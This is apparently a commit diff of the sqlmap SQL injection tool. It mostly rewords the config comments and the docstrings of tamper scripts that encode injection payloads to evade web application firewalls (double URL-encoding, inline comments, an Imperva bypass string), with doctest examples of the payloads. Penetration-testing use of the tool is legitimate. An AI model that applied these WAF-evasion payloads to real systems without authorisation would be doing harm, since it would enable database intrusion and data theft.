infoMsg += "This will work only if the user running the database "
|
||||
infoMsg += "process has privileges to modify the Windows registry."
|
||||
logger.info(infoMsg)
|
||||
|
||||
+18
-10
@@ -241,7 +241,7 @@ skipStatic = False
|
||||
# Regexp to exclude parameters from testing (e.g. "ses").
|
||||
paramExclude =
|
||||
|
||||
# Force back-end DBMS to this value. If this option is set, the back-end
|
||||
# Force back-end DBMS to provided value. If this option is set, the back-end
|
||||
# DBMS identification process will be minimized as needed.
|
||||
# If not set, sqlmap will detect back-end DBMS automatically by default.
|
||||
# Valid: mssql, mysql, mysql 4, mysql 5, oracle, pgsql, sqlite, sqlite3,
|
||||
@@ -256,7 +256,7 @@ dbms =
|
||||
# Syntax: username:password
|
||||
dbmsCred =
|
||||
|
||||
# Force back-end DBMS operating system to this value. If this option is
|
||||
# Force back-end DBMS operating system to provided value. If this option is
|
||||
# set, the back-end DBMS identification process will be minimized as
|
||||
# needed.
|
||||
# If not set, sqlmap will detect back-end DBMS operating system
|
||||
@@ -367,28 +367,32 @@ tech = BEUSTQ
|
||||
# Default: 5
|
||||
timeSec = 5
|
||||
|
||||
# Range of columns to test for
|
||||
# Range of columns to test for.
|
||||
# Valid: range of integers
|
||||
# Example: 1-10
|
||||
uCols =
|
||||
|
||||
# Character to use for bruteforcing number of columns
|
||||
# Character to use for bruteforcing number of columns.
|
||||
# Valid: string
|
||||
# Example: NULL
|
||||
uChar =
|
||||
|
||||
# Table to use in FROM part of UNION query SQL injection
|
||||
# Table to use in FROM part of UNION query SQL injection.
|
||||
# Valid: string
|
||||
# Example: INFORMATION_SCHEMA.COLLATIONS
|
||||
uFrom =
|
||||
|
||||
# Domain name used for DNS exfiltration attack
|
||||
# Domain name used for DNS exfiltration attack.
|
||||
# Valid: string
|
||||
dnsDomain =
|
||||
|
||||
# Resulting page URL searched for second-order response
|
||||
# Resulting page URL searched for second-order response.
|
||||
# Valid: string
|
||||
secondOrder =
|
||||
secondUrl =
|
||||
|
||||
# Load second-order HTTP request from file.
|
||||
# Valid: string
|
||||
secondReq =
|
||||
|
||||
|
||||
[Fingerprint]
|
||||
@@ -481,7 +485,7 @@ dumpAll = False
|
||||
# Valid: True or False
|
||||
search = False
|
||||
|
||||
# Retrieve back-end database management system comments.
|
||||
# Check for database management system database comments during enumeration.
|
||||
# Valid: True or False
|
||||
getComments = False
|
||||
|
||||
@@ -710,7 +714,7 @@ forms = False
|
||||
# Valid: True or False
|
||||
freshQueries = False
|
||||
|
||||
# Use DBMS hex function(s) for data retrieval.
|
||||
# Use hex conversion during data retrieval.
|
||||
# Valid: True or False
|
||||
hexConvert = False
|
||||
|
||||
@@ -774,6 +778,10 @@ googlePage = 1
|
||||
# Valid: True or False
|
||||
identifyWaf = False
|
||||
|
||||
# Display list of available tamper scripts
|
||||
# Valid: True or False
|
||||
listTampers = False
|
||||
|
||||
# Imitate smartphone through HTTP User-Agent header.
|
||||
# Valid: True or False
|
||||
mobile = False
|
||||
|
||||
@@ -57,6 +57,7 @@ try:
|
||||
from lib.core.exception import SqlmapUserQuitException
|
||||
from lib.core.option import initOptions
|
||||
from lib.core.option import init
|
||||
from lib.core.patch import dirtyPatches
|
||||
from lib.core.settings import GIT_PAGE
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import LEGAL_DISCLAIMER
|
||||
@@ -114,6 +115,7 @@ def main():
|
||||
"""
|
||||
|
||||
try:
|
||||
dirtyPatches()
|
||||
checkEnvironment()
|
||||
setPaths(modulePath())
|
||||
banner()
|
||||
@@ -141,10 +143,7 @@ def main():
|
||||
|
||||
if not conf.updateAll:
|
||||
# Postponed imports (faster start)
|
||||
if conf.profile:
|
||||
from lib.core.profiling import profile
|
||||
profile()
|
||||
elif conf.smokeTest:
|
||||
if conf.smokeTest:
|
||||
from lib.core.testing import smokeTest
|
||||
smokeTest()
|
||||
elif conf.liveTest:
|
||||
@@ -152,15 +151,20 @@ def main():
|
||||
liveTest()
|
||||
else:
|
||||
from lib.controller.controller import start
|
||||
try:
|
||||
start()
|
||||
except thread.error as ex:
|
||||
if "can't start new thread" in getSafeExString(ex):
|
||||
errMsg = "unable to start new threads. Please check OS (u)limits"
|
||||
logger.critical(errMsg)
|
||||
raise SystemExit
|
||||
else:
|
||||
raise
|
||||
if conf.profile:
|
||||
from lib.core.profiling import profile
|
||||
globals()["start"] = start
|
||||
profile()
|
||||
else:
|
||||
try:
|
||||
start()
|
||||
except thread.error as ex:
|
||||
if "can't start new thread" in getSafeExString(ex):
|
||||
errMsg = "unable to start new threads. Please check OS (u)limits"
|
||||
logger.critical(errMsg)
|
||||
raise SystemExit
|
||||
else:
|
||||
raise
|
||||
|
||||
except SqlmapUserQuitException:
|
||||
errMsg = "user quit"
|
||||
@@ -269,6 +273,12 @@ def main():
|
||||
logger.error(errMsg)
|
||||
raise SystemExit
|
||||
|
||||
elif all(_ in excMsg for _ in ("scramble_caching_sha2", "TypeError")):
|
||||
errMsg = "please downgrade the 'PyMySQL' package (=< 0.8.1) "
|
||||
errMsg += "(Reference: https://github.com/PyMySQL/PyMySQL/issues/700)"
|
||||
logger.error(errMsg)
|
||||
raise SystemExit
|
||||
|
||||
elif "must be pinned buffer, not bytearray" in excMsg:
|
||||
errMsg = "error occurred at Python interpreter which "
|
||||
errMsg += "is fixed in 2.7.x. Please update accordingly "
|
||||
@@ -321,7 +331,11 @@ def main():
|
||||
file_ = match.group(1)
|
||||
file_ = os.path.relpath(file_, os.path.dirname(__file__))
|
||||
file_ = file_.replace("\\", '/')
|
||||
file_ = re.sub(r"\.\./", '/', file_).lstrip('/')
|
||||
if "../" in file_:
|
||||
file_ = re.sub(r"(\.\./)+", '/', file_)
|
||||
else:
|
||||
file_ = file_.lstrip('/')
|
||||
file_ = re.sub(r"/{2,}", '/', file_)
|
||||
excMsg = excMsg.replace(match.group(1), file_)
|
||||
|
||||
errMsg = maskSensitiveData(errMsg)
|
||||
@@ -397,4 +411,4 @@ if __name__ == "__main__":
|
||||
main()
|
||||
else:
|
||||
# cancelling postponed imports (because of Travis CI checks)
|
||||
from lib.controller.controller import start
|
||||
from lib.controller.controller import start
|
||||
|
||||
+3
-1
@@ -7,7 +7,6 @@ See the file 'LICENSE' for copying permission
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.data import kb
|
||||
from lib.core.enums import PRIORITY
|
||||
|
||||
__priority__ = PRIORITY.NORMAL
|
||||
@@ -19,6 +18,9 @@ def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces each (MySQL) 0x<hex> encoded string with equivalent CONCAT(CHAR(),...) counterpart
|
||||
|
||||
Requirement:
|
||||
* MySQL
|
||||
|
||||
Tested against:
|
||||
* MySQL 4, 5.0 and 5.5
|
||||
|
||||
|
||||
@@ -14,7 +14,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces apostrophe character with its UTF-8 full width counterpart
|
||||
Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)
|
||||
|
||||
References:
|
||||
* http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
|
||||
|
||||
@@ -14,7 +14,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces apostrophe character with its illegal double unicode counterpart
|
||||
Replaces apostrophe character (') with its illegal double unicode counterpart (e.g. ' -> %00%27)
|
||||
|
||||
>>> tamper("1 AND '1'='1")
|
||||
'1 AND %00%271%00%27=%00%271'
|
||||
|
||||
@@ -18,7 +18,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Appends encoded NULL byte character at the end of payload
|
||||
Appends (Access) NULL byte character (%00) at the end of payload
|
||||
|
||||
Requirement:
|
||||
* Microsoft Access
|
||||
|
||||
@@ -17,7 +17,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Base64 all characters in a given payload
|
||||
Base64-encodes all characters in a given payload
|
||||
|
||||
>>> tamper("1' AND SLEEP(5)#")
|
||||
'MScgQU5EIFNMRUVQKDUpIw=='
|
||||
|
||||
+2
-3
@@ -16,8 +16,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
|
||||
Replaces equals operator ('=') with 'BETWEEN # AND #'
|
||||
Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' and equals operator ('=') with 'BETWEEN # AND #'
|
||||
|
||||
Tested against:
|
||||
* Microsoft SQL Server 2005
|
||||
@@ -46,7 +45,7 @@ def tamper(payload, **kwargs):
|
||||
_ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5))
|
||||
retVal = retVal.replace(match.group(0), _)
|
||||
else:
|
||||
retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", " NOT BETWEEN 0 AND \g<1>", payload)
|
||||
retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", r" NOT BETWEEN 0 AND \g<1>", payload)
|
||||
|
||||
if retVal == payload:
|
||||
match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*=\s*(\w+)\s*", payload)
|
||||
|
||||
+1
-2
@@ -17,8 +17,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces space character after SQL statement with a valid random blank character.
|
||||
Afterwards replace character '=' with operator LIKE
|
||||
Replaces space character after SQL statement with a valid random blank character. Afterwards replace character '=' with operator LIKE
|
||||
|
||||
Requirement:
|
||||
* Blue Coat SGOS with WAF activated as documented in
|
||||
|
||||
@@ -16,13 +16,10 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Double url-encodes all characters in a given payload (not processing
|
||||
already encoded)
|
||||
Double URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %2553%2545%254C%2545%2543%2554)
|
||||
|
||||
Notes:
|
||||
* Useful to bypass some weak web application firewalls that do not
|
||||
double url-decode the request before processing it through their
|
||||
ruleset
|
||||
* Useful to bypass some weak web application firewalls that do not double URL-decode the request before processing it through their ruleset
|
||||
|
||||
>>> tamper('SELECT FIELD FROM%20TABLE')
|
||||
'%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545'
|
||||
|
||||
@@ -16,8 +16,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Url-encodes all characters in a given payload (not processing already
|
||||
encoded)
|
||||
URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54)
|
||||
|
||||
Tested against:
|
||||
* Microsoft SQL Server 2005
|
||||
@@ -26,10 +25,8 @@ def tamper(payload, **kwargs):
|
||||
* PostgreSQL 8.3, 8.4, 9.0
|
||||
|
||||
Notes:
|
||||
* Useful to bypass very weak web application firewalls that do not
|
||||
url-decode the request before processing it through their ruleset
|
||||
* The web server will anyway pass the url-decoded version behind,
|
||||
hence it should work against any DBMS
|
||||
* Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset
|
||||
* The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS
|
||||
|
||||
>>> tamper('SELECT FIELD FROM%20TABLE')
|
||||
'%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'
|
||||
|
||||
@@ -18,8 +18,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Unicode-url-encodes non-encoded characters in a given payload (not
|
||||
processing already encoded)
|
||||
Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054)
|
||||
|
||||
Requirement:
|
||||
* ASP
|
||||
@@ -32,9 +31,7 @@ def tamper(payload, **kwargs):
|
||||
* PostgreSQL 9.0.3
|
||||
|
||||
Notes:
|
||||
* Useful to bypass weak web application firewalls that do not
|
||||
unicode url-decode the request before processing it through their
|
||||
ruleset
|
||||
* Useful to bypass weak web application firewalls that do not unicode URL-decode the request before processing it through their ruleset
|
||||
|
||||
>>> tamper('SELECT FIELD%20FROM TABLE')
|
||||
'%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045'
|
||||
|
||||
@@ -13,8 +13,7 @@ __priority__ = PRIORITY.NORMAL
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Unicode-escapes non-encoded characters in a given payload (not
|
||||
processing already encoded)
|
||||
Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054)
|
||||
|
||||
Notes:
|
||||
* Useful to bypass weak filtering and/or WAFs in JSON contexes
|
||||
|
||||
@@ -19,7 +19,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'
|
||||
Replaces (MySQL) instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' counterpart
|
||||
|
||||
Requirement:
|
||||
* MySQL
|
||||
|
||||
@@ -19,7 +19,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'
|
||||
Replaces (MySQL) instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' counterpart
|
||||
|
||||
Requirement:
|
||||
* MySQL
|
||||
|
||||
@@ -16,7 +16,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Prepends (inline) comment before parentheses
|
||||
Prepends (inline) comment before parentheses (e.g. ( -> /**/()
|
||||
|
||||
Tested against:
|
||||
* Microsoft SQL Server
|
||||
@@ -35,6 +35,6 @@ def tamper(payload, **kwargs):
|
||||
retVal = payload
|
||||
|
||||
if payload:
|
||||
retVal = re.sub(r"\b(\w+)\(", "\g<1>/**/(", retVal)
|
||||
retVal = re.sub(r"\b(\w+)\(", r"\g<1>/**/(", retVal)
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -18,7 +18,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
|
||||
Replaces (MySQL) instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' counterpart
|
||||
|
||||
Requirement:
|
||||
* MySQL
|
||||
|
||||
@@ -19,7 +19,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces all occurrences of operator equal ('=') with operator 'LIKE'
|
||||
Replaces all occurrences of operator equal ('=') with 'LIKE' counterpart
|
||||
|
||||
Tested against:
|
||||
* Microsoft SQL Server 2005
|
||||
|
||||
@@ -14,7 +14,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Slash escape quotes (' and ")
|
||||
Slash escape single and double quotes (e.g. ' -> \')
|
||||
|
||||
>>> tamper('1" AND SLEEP(5)#')
|
||||
'1\\\\" AND SLEEP(5)#'
|
||||
|
||||
@@ -21,7 +21,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Adds versioned MySQL comment before each keyword
|
||||
Adds (MySQL) versioned comment before each keyword
|
||||
|
||||
Requirement:
|
||||
* MySQL < 5.1
|
||||
|
||||
@@ -16,7 +16,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
HTML encode (using code points) all non-alphanumeric characters
|
||||
HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> ')
|
||||
|
||||
>>> tamper("1' AND SLEEP(5)#")
|
||||
'1' AND SLEEP(5)#'
|
||||
|
||||
@@ -14,7 +14,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces instances like 'IFNULL(A, B)' with 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END'
|
||||
Replaces instances like 'IFNULL(A, B)' with 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END' counterpart
|
||||
|
||||
Requirement:
|
||||
* MySQL
|
||||
|
||||
@@ -14,7 +14,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'
|
||||
Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' counterpart
|
||||
|
||||
Requirement:
|
||||
* MySQL
|
||||
|
||||
@@ -13,7 +13,7 @@ __priority__ = PRIORITY.NORMAL
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Add a comment to the end of all occurrences of (blacklisted) "information_schema" identifier
|
||||
Add an inline comment (/**/) to the end of all occurrences of (MySQL) "information_schema" identifier
|
||||
|
||||
>>> tamper('SELECT table_name FROM INFORMATION_SCHEMA.TABLES')
|
||||
'SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES'
|
||||
@@ -22,6 +22,6 @@ def tamper(payload, **kwargs):
|
||||
retVal = payload
|
||||
|
||||
if payload:
|
||||
retVal = re.sub(r"(?i)(information_schema)\.", "\g<1>/**/.", payload)
|
||||
retVal = re.sub(r"(?i)(information_schema)\.", r"\g<1>/**/.", payload)
|
||||
|
||||
return retVal
|
||||
|
||||
+1
-1
@@ -17,7 +17,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces each keyword character with lower case value
|
||||
Replaces each keyword character with lower case value (e.g. SELECT -> select)
|
||||
|
||||
Tested against:
|
||||
* Microsoft SQL Server 2005
|
||||
|
||||
@@ -19,7 +19,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Embraces complete query with versioned comment
|
||||
Embraces complete query with (MySQL) versioned comment
|
||||
|
||||
Requirement:
|
||||
* MySQL
|
||||
|
||||
@@ -18,7 +18,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Embraces complete query with zero-versioned comment
|
||||
Embraces complete query with (MySQL) zero-versioned comment
|
||||
|
||||
Requirement:
|
||||
* MySQL
|
||||
|
||||
@@ -18,7 +18,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Adds multiple spaces around SQL keywords
|
||||
Adds multiple spaces (' ') around SQL keywords
|
||||
|
||||
Notes:
|
||||
* Useful to bypass very weak and bespoke web application firewalls
|
||||
@@ -43,7 +43,7 @@ def tamper(payload, **kwargs):
|
||||
words.add(word)
|
||||
|
||||
for word in words:
|
||||
retVal = re.sub("(?<=\W)%s(?=[^A-Za-z_(]|\Z)" % word, "%s%s%s" % (' ' * random.randrange(1, 4), word, ' ' * random.randrange(1, 4)), retVal)
|
||||
retVal = re.sub("(?<=\W)%s(?=[(])" % word, "%s%s" % (' ' * random.randrange(1, 4), word), retVal)
|
||||
retVal = re.sub(r"(?<=\W)%s(?=[^A-Za-z_(]|\Z)" % word, "%s%s%s" % (' ' * random.randrange(1, 4), word, ' ' * random.randrange(1, 4)), retVal)
|
||||
retVal = re.sub(r"(?<=\W)%s(?=[(])" % word, "%s%s" % (' ' * random.randrange(1, 4), word), retVal)
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -15,8 +15,7 @@ __priority__ = PRIORITY.NORMAL
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces predefined SQL keywords with representations
|
||||
suitable for replacement (e.g. .replace("SELECT", "")) filters
|
||||
Replaces predefined SQL keywords with representations suitable for replacement filters (e.g. SELECT -> SELSELECTECT)
|
||||
|
||||
Notes:
|
||||
* Useful to bypass very weak custom filters
|
||||
|
||||
@@ -16,10 +16,11 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Converts all (non-alphanum) characters in a given payload (not processing already encoded)
|
||||
Converts all (non-alphanum) characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. ' -> %C0%A7)
|
||||
|
||||
Reference: https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/
|
||||
Reference: https://www.thecodingforums.com/threads/newbie-question-about-character-encoding-what-does-0xc0-0x8a-have-in-common-with-0xe0-0x80-0x8a.170201/
|
||||
Reference:
|
||||
* https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/
|
||||
* https://www.thecodingforums.com/threads/newbie-question-about-character-encoding-what-does-0xc0-0x8a-have-in-common-with-0xe0-0x80-0x8a.170201/
|
||||
|
||||
>>> tamper('SELECT FIELD FROM TABLE WHERE 2>1')
|
||||
'SELECT%C0%A0FIELD%C0%A0FROM%C0%A0TABLE%C0%A0WHERE%C0%A02%C0%BE1'
|
||||
|
||||
@@ -16,10 +16,11 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Converts all characters in a given payload (not processing already encoded)
|
||||
Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94)
|
||||
|
||||
Reference: https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/
|
||||
Reference: https://www.thecodingforums.com/threads/newbie-question-about-character-encoding-what-does-0xc0-0x8a-have-in-common-with-0xe0-0x80-0x8a.170201/
|
||||
Reference:
|
||||
* https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/
|
||||
* https://www.thecodingforums.com/threads/newbie-question-about-character-encoding-what-does-0xc0-0x8a-have-in-common-with-0xe0-0x80-0x8a.170201/
|
||||
|
||||
>>> tamper('SELECT FIELD FROM TABLE WHERE 2>1')
|
||||
'%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94%C0%A0%C1%86%C1%89%C1%85%C1%8C%C1%84%C0%A0%C1%86%C1%92%C1%8F%C1%8D%C0%A0%C1%94%C1%81%C1%82%C1%8C%C1%85%C0%A0%C1%97%C1%88%C1%85%C1%92%C1%85%C0%A0%C0%B2%C0%BE%C0%B1'
|
||||
|
||||
@@ -18,7 +18,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Adds a percentage sign ('%') infront of each character
|
||||
Adds a percentage sign ('%') infront of each character (e.g. SELECT -> %S%E%L%E%C%T)
|
||||
|
||||
Requirement:
|
||||
* ASP
|
||||
|
||||
@@ -20,7 +20,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces plus ('+') character with function CONCAT()
|
||||
Replaces plus operator ('+') with (MsSQL) function CONCAT() counterpart
|
||||
|
||||
Tested against:
|
||||
* Microsoft SQL Server 2012
|
||||
|
||||
@@ -20,7 +20,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces plus ('+') character with ODBC function {fn CONCAT()}
|
||||
Replaces plus operator ('+') with (MsSQL) ODBC function {fn CONCAT()} counterpart
|
||||
|
||||
Tested against:
|
||||
* Microsoft SQL Server 2008
|
||||
|
||||
@@ -18,7 +18,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces each keyword character with random case value
|
||||
Replaces each keyword character with random case value (e.g. SELECT -> SEleCt)
|
||||
|
||||
Tested against:
|
||||
* Microsoft SQL Server 2005
|
||||
|
||||
@@ -15,7 +15,7 @@ __priority__ = PRIORITY.LOW
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Add random comments to SQL keywords
|
||||
Add random inline comments inside SQL keywords (e.g. SELECT -> S/**/E/**/LECT)
|
||||
|
||||
>>> import random
|
||||
>>> random.seed(0)
|
||||
|
||||
@@ -14,11 +14,10 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Appends special crafted string
|
||||
Appends special crafted string for bypassing Imperva SecureSphere WAF
|
||||
|
||||
Notes:
|
||||
* Useful for bypassing Imperva SecureSphere WAF
|
||||
* Reference: http://seclists.org/fulldisclosure/2011/May/163
|
||||
Reference:
|
||||
* http://seclists.org/fulldisclosure/2011/May/163
|
||||
|
||||
>>> tamper('1 AND 1=1')
|
||||
"1 AND 1=1 and '0having'='0having'"
|
||||
|
||||
@@ -11,7 +11,7 @@ __priority__ = PRIORITY.HIGH
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs
|
||||
Appends (MsSQL) function 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs
|
||||
|
||||
Requirement:
|
||||
* MSSQL
|
||||
|
||||
@@ -14,8 +14,7 @@ __priority__ = PRIORITY.LOW
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces space character (' ') with a dash comment ('--') followed by
|
||||
a random string and a new line ('\n')
|
||||
Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')
|
||||
|
||||
Requirement:
|
||||
* MSSQL
|
||||
|
||||
@@ -20,8 +20,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces space character (' ') with a pound character ('#') followed by
|
||||
a random string and a new line ('\n')
|
||||
Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
|
||||
|
||||
Requirement:
|
||||
* MySQL
|
||||
|
||||
@@ -14,7 +14,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces space character (' ') with comments '/**_**/'
|
||||
Replaces (MySQL) instances of space character (' ') with comments '/**_**/'
|
||||
|
||||
Tested against:
|
||||
* MySQL 5.0 and 5.5
|
||||
|
||||
@@ -23,8 +23,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces space character (' ') with a pound character ('#') followed by
|
||||
a random string and a new line ('\n')
|
||||
Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
|
||||
|
||||
Requirement:
|
||||
* MySQL >= 5.1.13
|
||||
|
||||
@@ -19,8 +19,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces space character (' ') with a random blank character from a
|
||||
valid set of alternate characters
|
||||
Replaces (MsSQL) instances of space character (' ') with a random blank character from a valid set of alternate characters
|
||||
|
||||
Requirement:
|
||||
* Microsoft SQL Server
|
||||
|
||||
@@ -11,8 +11,7 @@ __priority__ = PRIORITY.LOW
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces space character (' ') with a pound character ('#') followed by
|
||||
a new line ('\n')
|
||||
Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')
|
||||
|
||||
Requirement:
|
||||
* MSSQL
|
||||
|
||||
@@ -19,8 +19,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces space character (' ') with a random blank character from a
|
||||
valid set of alternate characters
|
||||
Replaces (MySQL) instances of space character (' ') with a random blank character from a valid set of alternate characters
|
||||
|
||||
Requirement:
|
||||
* MySQL
|
||||
|
||||
@@ -18,15 +18,12 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces space character (' ') with a dash comment ('--') followed by
|
||||
a new line ('\n')
|
||||
Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n')
|
||||
|
||||
Requirement:
|
||||
* MySQL
|
||||
* MSSQL
|
||||
|
||||
Tested against:
|
||||
|
||||
Notes:
|
||||
* Useful to bypass several web application firewalls.
|
||||
|
||||
|
||||
@@ -17,8 +17,7 @@ def tamper(payload, **kwargs):
|
||||
Replaces space character (' ') with plus ('+')
|
||||
|
||||
Notes:
|
||||
* Is this any useful? The plus get's url-encoded by sqlmap engine
|
||||
invalidating the query afterwards
|
||||
* Is this any useful? The plus get's url-encoded by sqlmap engine invalidating the query afterwards
|
||||
* This tamper script works against all databases
|
||||
|
||||
>>> tamper('SELECT id FROM users')
|
||||
|
||||
@@ -16,8 +16,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces space character (' ') with a random blank character from a
|
||||
valid set of alternate characters
|
||||
Replaces space character (' ') with a random blank character from a valid set of alternate characters
|
||||
|
||||
Tested against:
|
||||
* Microsoft SQL Server 2005
|
||||
|
||||
@@ -14,7 +14,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces UNION ALL SELECT with UNION SELECT
|
||||
Replaces instances of UNION ALL SELECT with UNION SELECT counterpart
|
||||
|
||||
>>> tamper('-1 UNION ALL SELECT')
|
||||
'-1 UNION SELECT'
|
||||
|
||||
@@ -16,8 +16,7 @@ def dependencies():
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces quote character (') with a multi-byte combo %bf%27 together with
|
||||
generic comment at the end (to make it work)
|
||||
Replaces quote character (') with a multi-byte combo %BF%27 together with generic comment at the end (to make it work)
|
||||
|
||||
Notes:
|
||||
* Useful for bypassing magic_quotes/addslashes feature
|
||||
|
||||
+1
-1
@@ -17,7 +17,7 @@ def dependencies():
|
||||
|
||||
